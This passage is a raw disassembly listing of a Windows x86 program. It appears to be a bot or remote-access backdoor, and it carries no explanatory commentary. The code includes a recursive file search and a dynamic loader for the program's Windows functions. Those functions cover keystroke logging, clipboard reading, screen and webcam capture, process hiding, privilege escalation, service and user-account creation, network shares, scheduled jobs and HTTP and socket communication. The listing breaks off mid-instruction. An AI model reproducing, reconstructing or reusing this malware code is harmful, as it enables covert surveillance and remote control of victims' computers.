[ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_412D4C add esp, 14h loc_408822: ; CODE XREF: sub_408788+78j lea eax, [ebp+var_114] push ebx push eax lea eax, [ebp+var_218] push eax lea eax, [ebp+var_298] push [ebp+var_C] push eax push [ebp+var_29C] call sub_4088A0 push eax lea eax, [ebp+var_49C] push offset unk_4290BC push eax call sub_4154E7 add esp, 24h cmp [ebp+var_8], ebx jnz short loc_408880 push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_412D4C add esp, 14h loc_408880: ; CODE XREF: sub_408788+D6j lea eax, [ebp+var_49C] push eax call sub_40B16D push [ebp+var_10] call sub_4152AF pop ecx pop ecx push ebx call dword_421048 pop edi pop esi pop ebx sub_408788 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4088A0 proc near ; CODE XREF: sub_408788+B9p ; sub_4088A0+9Ep var_54C = byte ptr -54Ch var_34C = byte ptr -34Ch var_248 = byte ptr -248h var_144 = byte ptr -144h var_118 = byte ptr -118h var_117 = byte ptr -117h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 54Ch push ebx push esi push edi mov esi, 104h push [ebp+arg_10] lea eax, [ebp+var_248] push offset aS_3 ; "%s\\*" push esi push eax call sub_415A6A mov edi, dword_4210A8 add esp, 10h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax mov ebx, offset aSS_3 ; "%s\\%s" jz short loc_40895D loc_4088EC: ; CODE XREF: sub_4088A0+BBj test [ebp+var_144], 10h jz short loc_408949 cmp [ebp+var_118], 2Eh jnz short loc_408910 cmp [ebp+var_117], 0 jz short loc_408949 cmp [ebp+var_117], 2Eh jz short loc_408949 loc_408910: ; CODE XREF: sub_4088A0+5Cj lea eax, [ebp+var_118] push eax lea eax, [ebp+var_34C] push [ebp+arg_10] push ebx push esi push eax call sub_415A6A push [ebp+arg_14] lea eax, [ebp+var_34C] push eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4088A0 add esp, 2Ch mov [ebp+arg_14], eax loc_408949: ; CODE XREF: sub_4088A0+53j ; sub_4088A0+65j ... lea eax, [ebp+var_144] push eax push [ebp+var_4] call dword_4210A4 test eax, eax jnz short loc_4088EC loc_40895D: ; CODE XREF: sub_4088A0+4Aj push [ebp+var_4] call dword_421098 push [ebp+arg_C] lea eax, [ebp+var_248] push [ebp+arg_10] push ebx push esi push eax call sub_415A6A add esp, 14h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4089E3 loc_408994: ; CODE XREF: sub_4088A0+141j lea eax, [ebp+var_118] inc [ebp+arg_14] push eax lea eax, [ebp+var_54C] push [ebp+arg_10] push offset aFoundSS ; " Found: %s\\%s" push 200h push eax call sub_415A6A push 1 lea eax, [ebp+var_54C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 28h lea eax, [ebp+var_144] push eax push esi call dword_4210A4 test eax, eax jnz short loc_408994 loc_4089E3: ; CODE XREF: sub_4088A0+F2j push esi call dword_421098 mov eax, [ebp+arg_14] pop edi pop esi pop ebx leave retn sub_4088A0 endp ; =============== S U B R O U T I N E ======================================= sub_4089F2 proc near ; CODE XREF: sub_40C682+55p push ebx push ebp mov ebp, dword_4210C8 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4210C4 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_408B12 push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_43A464, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_43A3D8, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_43A3BC, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_43A2D8, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_43A284, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_43A2B4, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_43A328, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_43A418, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_43A474, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_43A2E4, eax call esi cmp dword_43A464, ebx mov dword_43A2CC, eax jz short loc_408AF0 cmp dword_43A3D8, ebx jz short loc_408AF0 cmp dword_43A3BC, ebx jz short loc_408AF0 cmp dword_43A2D8, ebx jz short loc_408AF0 cmp dword_43A2B4, ebx jz short loc_408AF0 cmp dword_43A328, ebx jz short loc_408AF0 cmp dword_43A418, ebx jz short loc_408AF0 cmp dword_43A474, ebx jz short loc_408AF0 cmp dword_43A2E4, ebx jz short loc_408AF0 cmp eax, ebx jnz short loc_408AFA loc_408AF0: ; CODE XREF: sub_4089F2+B8j ; sub_4089F2+C0j ... mov dword_43A478, 1 loc_408AFA: ; CODE XREF: sub_4089F2+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_43A3F0, eax jz short loc_408B27 push 1 push ebx call eax jmp short loc_408B27 ; --------------------------------------------------------------------------- loc_408B12: ; CODE XREF: sub_4089F2+1Dj call dword_421088 mov dword_43A47C, eax mov dword_43A478, 1 loc_408B27: ; CODE XREF: sub_4089F2+117j ; sub_4089F2+11Ej push offset aUser32_dll ; "user32.dll" call dword_4210C0 mov edi, eax cmp edi, ebx jz loc_408C3C push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_43A414, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_43A3C4, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_43A358, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_43A468, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_43A388, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_43A3A8, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_43A40C, eax call esi cmp dword_43A414, ebx mov dword_43A300, eax jz short loc_408BE0 cmp dword_43A3C4, ebx jz short loc_408BE0 cmp dword_43A358, ebx jz short loc_408BE0 cmp dword_43A468, ebx jz short loc_408BE0 cmp dword_43A388, ebx jz short loc_408BE0 cmp dword_43A3A8, ebx jz short loc_408BE0 cmp dword_43A40C, ebx jz short loc_408BE0 cmp eax, ebx jnz short loc_408BEA loc_408BE0: ; CODE XREF: sub_4089F2+1B8j ; sub_4089F2+1C0j ... mov dword_43A480, 1 loc_408BEA: ; CODE XREF: sub_4089F2+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_43A384, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_43A298, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_43A354, eax call esi cmp dword_43A384, ebx mov dword_43A340, eax jz short loc_408C47 cmp dword_43A298, ebx jz short loc_408C47 cmp dword_43A354, ebx jz short loc_408C47 cmp eax, ebx jnz short loc_408C51 jmp short loc_408C47 ; --------------------------------------------------------------------------- loc_408C3C: ; CODE XREF: sub_4089F2+144j call dword_421088 mov dword_43A484, eax loc_408C47: ; CODE XREF: sub_4089F2+232j ; sub_4089F2+23Aj ... mov dword_43A480, 1 loc_408C51: ; CODE XREF: sub_4089F2+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_408DEC push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_43A428, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_43A36C, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_43A3DC, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_43A2C4, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_43A324, eax call esi cmp dword_43A428, ebx mov dword_43A394, eax jz short loc_408CDC cmp dword_43A36C, ebx jz short loc_408CDC cmp dword_43A3DC, ebx jz short loc_408CDC cmp dword_43A2C4, ebx jz short loc_408CDC cmp dword_43A324, ebx jz short loc_408CDC cmp eax, ebx jnz short loc_408CE6 loc_408CDC: ; CODE XREF: sub_4089F2+2C4j ; sub_4089F2+2CCj ... mov dword_43A488, 1 loc_408CE6: ; CODE XREF: sub_4089F2+2E8j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_43A39C, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_43A374, eax call esi cmp dword_43A39C, ebx mov dword_43A424, eax jz short loc_408D21 cmp dword_43A374, ebx jz short loc_408D21 cmp eax, ebx jnz short loc_408D2B loc_408D21: ; CODE XREF: sub_4089F2+321j ; sub_4089F2+329j mov dword_43A488, 1 loc_408D2B: ; CODE XREF: sub_4089F2+32Dj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_43A3AC, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_43A2A0, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_43A2A8, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_43A308, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_43A30C, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_43A2BC, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_43A378, eax call esi cmp dword_43A3AC, ebx mov dword_43A2AC, eax jz short loc_408DCF cmp dword_43A2A0, ebx jz short loc_408DCF cmp dword_43A2A8, ebx jz short loc_408DCF cmp dword_43A308, ebx jz short loc_408DCF cmp dword_43A30C, ebx jz short loc_408DCF cmp dword_43A2BC, ebx jz short loc_408DCF cmp dword_43A378, ebx jz short loc_408DCF cmp eax, ebx jnz short loc_408DD9 loc_408DCF: ; CODE XREF: sub_4089F2+3A7j ; sub_4089F2+3AFj ... mov dword_43A488, 1 loc_408DD9: ; CODE XREF: sub_4089F2+3DBj push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_43A2A4, eax jnz short loc_408E01 jmp short loc_408DF7 ; --------------------------------------------------------------------------- loc_408DEC: ; CODE XREF: sub_4089F2+26Aj call dword_421088 mov dword_43A48C, eax loc_408DF7: ; CODE XREF: sub_4089F2+3F8j mov dword_43A488, 1 loc_408E01: ; CODE XREF: sub_4089F2+3F6j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_408ECD push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_43A3A4, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_43A3FC, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_43A404, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_43A3C0, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_43A2E8, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_43A294, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_43A400, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_43A280, eax call esi cmp dword_43A3A4, ebx mov dword_43A31C, eax jz short loc_408ED8 cmp dword_43A3FC, ebx jz short loc_408ED8 cmp dword_43A404, ebx jz short loc_408ED8 cmp dword_43A3C0, ebx jz short loc_408ED8 cmp dword_43A2E8, ebx jz short loc_408ED8 cmp dword_43A294, ebx jz short loc_408ED8 cmp dword_43A400, ebx jz short loc_408ED8 cmp dword_43A280, ebx jz short loc_408ED8 cmp eax, ebx jnz short loc_408EE2 jmp short loc_408ED8 ; --------------------------------------------------------------------------- loc_408ECD: ; CODE XREF: sub_4089F2+41Aj call dword_421088 mov dword_43A494, eax loc_408ED8: ; CODE XREF: sub_4089F2+49Bj ; sub_4089F2+4A3j ... mov dword_43A490, 1 loc_408EE2: ; CODE XREF: sub_4089F2+4D7j mov ebp, dword_4210C0 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40919E push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_43A330, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_43A45C, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_43A2D4, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_43A2B0, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_43A364, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_43A34C, eax call esi push offset aSocket ; "socket" push edi mov dword_43A318, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_43A438, eax call esi push offset aConnect ; "connect" push edi mov dword_43A454, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_43A360, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_43A444, eax call esi push offset aHtons ; "htons" push edi mov dword_43A3F8, eax call esi push offset aHtonl ; "htonl" push edi mov dword_43A3B8, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_43A3B4, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_43A2F4, eax call esi push offset aSend ; "send" push edi mov dword_43A2EC, eax call esi push offset aSendto ; "sendto" push edi mov dword_43A408, eax call esi push offset aRecv ; "recv" push edi mov dword_43A41C, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_43A3D0, eax call esi mov dword_43A390, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_43A3E4, eax call esi push offset aListen ; "listen" push edi mov dword_43A3A0, eax call esi push offset aAccept ; "accept" push edi mov dword_43A3E0, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_43A44C, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_43A398, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_43A35C, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_43A3CC, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_43A43C, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_43A370, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_43A314, eax call esi cmp dword_43A330, ebx mov dword_43A450, eax jz loc_4091A9 cmp dword_43A45C, ebx jz loc_4091A9 cmp dword_43A2D4, ebx jz loc_4091A9 cmp dword_43A364, ebx jz loc_4091A9 cmp dword_43A34C, ebx jz loc_4091A9 cmp dword_43A318, ebx jz loc_4091A9 cmp dword_43A438, ebx jz loc_4091A9 cmp dword_43A454, ebx jz loc_4091A9 cmp dword_43A360, ebx jz loc_4091A9 cmp dword_43A444, ebx jz loc_4091A9 cmp dword_43A3F8, ebx jz loc_4091A9 cmp dword_43A3B8, ebx jz loc_4091A9 cmp dword_43A3B4, ebx jz loc_4091A9 cmp dword_43A2F4, ebx jz short loc_4091A9 cmp dword_43A408, ebx jz short loc_4091A9 cmp dword_43A41C, ebx jz short loc_4091A9 cmp dword_43A3D0, ebx jz short loc_4091A9 cmp dword_43A390, ebx jz short loc_4091A9 cmp dword_43A3E4, ebx jz short loc_4091A9 cmp dword_43A3A0, ebx jz short loc_4091A9 cmp dword_43A3E0, ebx jz short loc_4091A9 cmp dword_43A44C, ebx jz short loc_4091A9 cmp dword_43A398, ebx jz short loc_4091A9 cmp dword_43A35C, ebx jz short loc_4091A9 cmp dword_43A3CC, ebx jz short loc_4091A9 cmp dword_43A43C, ebx jz short loc_4091A9 cmp dword_43A370, ebx jz short loc_4091A9 cmp eax, ebx jnz short loc_4091B3 jmp short loc_4091A9 ; --------------------------------------------------------------------------- loc_40919E: ; CODE XREF: sub_4089F2+501j call dword_421088 mov dword_43A49C, eax loc_4091A9: ; CODE XREF: sub_4089F2+6A0j ; sub_4089F2+6ACj ... mov dword_43A498, 1 loc_4091B3: ; CODE XREF: sub_4089F2+7A8j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_4092B8 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_43A2FC, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_43A288, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_43A380, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_43A334, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_43A38C, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_43A350, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_43A2C8, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_43A2C0, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_43A2D0, eax call esi cmp dword_43A2FC, ebx mov ecx, dword_43A350 mov dword_43A3EC, eax jz short loc_409294 cmp dword_43A288, ebx jz short loc_409294 cmp dword_43A380, ebx jz short loc_409294 cmp dword_43A334, ebx jz short loc_409294 cmp dword_43A38C, ebx jz short loc_409294 cmp ecx, ebx jz short loc_409294 cmp dword_43A2C8, ebx jz short loc_409294 cmp dword_43A2C0, ebx jz short loc_409294 cmp dword_43A2D0, ebx jz short loc_409294 cmp eax, ebx jnz short loc_40929E loc_409294: ; CODE XREF: sub_4089F2+860j ; sub_4089F2+868j ... mov dword_43A4A0, 1 loc_40929E: ; CODE XREF: sub_4089F2+8A0j cmp ecx, ebx jz short loc_4092D3 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_43A368, eax jnz short loc_4092D3 jmp short loc_4092CD ; --------------------------------------------------------------------------- loc_4092B8: ; CODE XREF: sub_4089F2+7CCj call dword_421088 mov dword_43A4A4, eax mov dword_43A4A0, 1 loc_4092CD: ; CODE XREF: sub_4089F2+8C4j mov dword_43A368, ebx loc_4092D3: ; CODE XREF: sub_4089F2+8AEj ; sub_4089F2+8C2j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40931D push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_43A344, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_43A470, eax call esi cmp dword_43A344, ebx mov dword_43A2DC, eax jz short loc_409328 cmp dword_43A470, ebx jz short loc_409328 cmp eax, ebx jnz short loc_409332 jmp short loc_409328 ; --------------------------------------------------------------------------- loc_40931D: ; CODE XREF: sub_4089F2+8ECj call dword_421088 mov dword_43A4AC, eax loc_409328: ; CODE XREF: sub_4089F2+91Bj ; sub_4089F2+923j ... mov dword_43A4A8, 1 loc_409332: ; CODE XREF: sub_4089F2+927j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409428 push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_43A2B8, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_43A290, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_43A304, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_43A338, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_43A448, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov dword_43A2F0, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_43A29C, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_43A28C, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_43A320, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_43A410, eax call esi cmp dword_43A2B8, ebx mov dword_43A3C8, eax jz short loc_409433 cmp dword_43A290, ebx jz short loc_409433 cmp dword_43A304, ebx jz short loc_409433 cmp dword_43A338, ebx jz short loc_409433 cmp dword_43A448, ebx jz short loc_409433 cmp dword_43A2F0, ebx jz short loc_409433 cmp dword_43A29C, ebx jz short loc_409433 cmp dword_43A28C, ebx jz short loc_409433 cmp dword_43A320, ebx jz short loc_409433 cmp dword_43A410, ebx jz short loc_409433 cmp eax, ebx jnz short loc_40943D jmp short loc_409433 ; --------------------------------------------------------------------------- loc_409428: ; CODE XREF: sub_4089F2+94Bj call dword_421088 mov dword_43A4B4, eax loc_409433: ; CODE XREF: sub_4089F2+9E6j ; sub_4089F2+9EEj ... mov dword_43A4B0, 1 loc_40943D: ; CODE XREF: sub_4089F2+A32j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_409472 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_43A2E0, eax call esi cmp dword_43A2E0, ebx mov dword_43A3B0, eax jz short loc_40947D cmp eax, ebx jnz short loc_409487 jmp short loc_40947D ; --------------------------------------------------------------------------- loc_409472: ; CODE XREF: sub_4089F2+A56j call dword_421088 mov dword_43A4BC, eax loc_40947D: ; CODE XREF: sub_4089F2+A78j ; sub_4089F2+A7Ej mov dword_43A4B8, 1 loc_409487: ; CODE XREF: sub_4089F2+A7Cj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_4094BC push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_43A434, eax call esi cmp dword_43A434, ebx mov dword_43A430, eax jz short loc_4094C7 cmp eax, ebx jnz short loc_4094D1 jmp short loc_4094C7 ; --------------------------------------------------------------------------- loc_4094BC: ; CODE XREF: sub_4089F2+AA0j call dword_421088 mov dword_43A4C4, eax loc_4094C7: ; CODE XREF: sub_4089F2+AC2j ; sub_4089F2+AC8j mov dword_43A4C0, 1 loc_4094D1: ; CODE XREF: sub_4089F2+AC6j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_409530 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_43A460, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_43A458, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_43A420, eax call esi cmp dword_43A460, ebx mov dword_43A2F8, eax jz short loc_40953B cmp dword_43A458, ebx jz short loc_40953B cmp dword_43A420, ebx jz short loc_40953B cmp eax, ebx jnz short loc_409545 jmp short loc_40953B ; --------------------------------------------------------------------------- loc_409530: ; CODE XREF: sub_4089F2+AEAj call dword_421088 mov dword_43A4CC, eax loc_40953B: ; CODE XREF: sub_4089F2+B26j ; sub_4089F2+B2Ej ... mov dword_43A4C8, 1 loc_409545: ; CODE XREF: sub_4089F2+B3Aj push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40957A push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_43A32C, eax call esi cmp dword_43A32C, ebx mov dword_43A42C, eax jz short loc_409585 cmp eax, ebx jnz short loc_40958F jmp short loc_409585 ; --------------------------------------------------------------------------- loc_40957A: ; CODE XREF: sub_4089F2+B5Ej call dword_421088 mov dword_43A4D4, eax loc_409585: ; CODE XREF: sub_4089F2+B80j ; sub_4089F2+B86j mov dword_43A4D0, 1 loc_40958F: ; CODE XREF: sub_4089F2+B84j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_409618 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_43A3F4, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_43A440, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_43A37C, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_43A33C, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_43A3D4, eax call esi cmp dword_43A3F4, ebx mov dword_43A348, eax jz short loc_409623 cmp dword_43A440, ebx jz short loc_409623 cmp dword_43A37C, ebx jz short loc_409623 cmp dword_43A33C, ebx jz short loc_409623 cmp dword_43A3D4, ebx jz short loc_409623 cmp eax, ebx jnz short loc_40962D jmp short loc_409623 ; --------------------------------------------------------------------------- loc_409618: ; CODE XREF: sub_4089F2+BA8j call dword_421088 mov dword_43A4DC, eax loc_409623: ; CODE XREF: sub_4089F2+BFEj ; sub_4089F2+C06j ... mov dword_43A4D8, 1 loc_40962D: ; CODE XREF: sub_4089F2+C22j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_409662 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_43A310, eax call esi cmp dword_43A310, ebx mov dword_43A3E8, eax jz short loc_40966D cmp eax, ebx jnz short loc_409677 jmp short loc_40966D ; --------------------------------------------------------------------------- loc_409662: ; CODE XREF: sub_4089F2+C46j call dword_421088 mov dword_43A4E4, eax loc_40966D: ; CODE XREF: sub_4089F2+C68j ; sub_4089F2+C6Ej mov dword_43A4E0, 1 loc_409677: ; CODE XREF: sub_4089F2+C6Cj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_4089F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40967F proc near ; CODE XREF: sub_40CE55+51F9p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_43A478, esi push edi mov edi, [ebp+arg_8] jz short loc_4096C7 push dword_43A47C lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_4154E7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D4C add esp, 20h loc_4096C7: ; CODE XREF: sub_40967F+1Aj cmp dword_43A480, esi jz short loc_4096FB push dword_43A484 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_4154E7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D4C add esp, 20h loc_4096FB: ; CODE XREF: sub_40967F+4Ej cmp dword_43A488, esi jz short loc_40972F push dword_43A48C lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_4154E7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D4C add esp, 20h loc_40972F: ; CODE XREF: sub_40967F+82j cmp dword_43A490, esi jz short loc_409763 push dword_43A494 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_4154E7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D4C add esp, 20h loc_409763: ; CODE XREF: sub_40967F+B6j cmp dword_43A498, esi jz short loc_409797 push dword_43A49C lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_4154E7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D4C add esp, 20h loc_409797: ; CODE XREF: sub_40967F+EAj cmp dword_43A4A0, esi jz short loc_4097CB push dword_43A4A4 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_4154E7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D4C add esp, 20h loc_4097CB: ; CODE XREF: sub_40967F+11Ej cmp dword_43A4A8, esi jz short loc_4097FF push dword_43A4AC lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_4154E7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D4C add esp, 20h loc_4097FF: ; CODE XREF: sub_40967F+152j cmp dword_43A4B0, esi jz short loc_409833 push dword_43A4B4 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_4154E7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D4C add esp, 20h loc_409833: ; CODE XREF: sub_40967F+186j cmp dword_43A4B8, esi jz short loc_409867 push dword_43A4BC lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_4154E7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D4C add esp, 20h loc_409867: ; CODE XREF: sub_40967F+1BAj cmp dword_43A4C0, esi jz short loc_40989B push dword_43A4C4 lea eax, 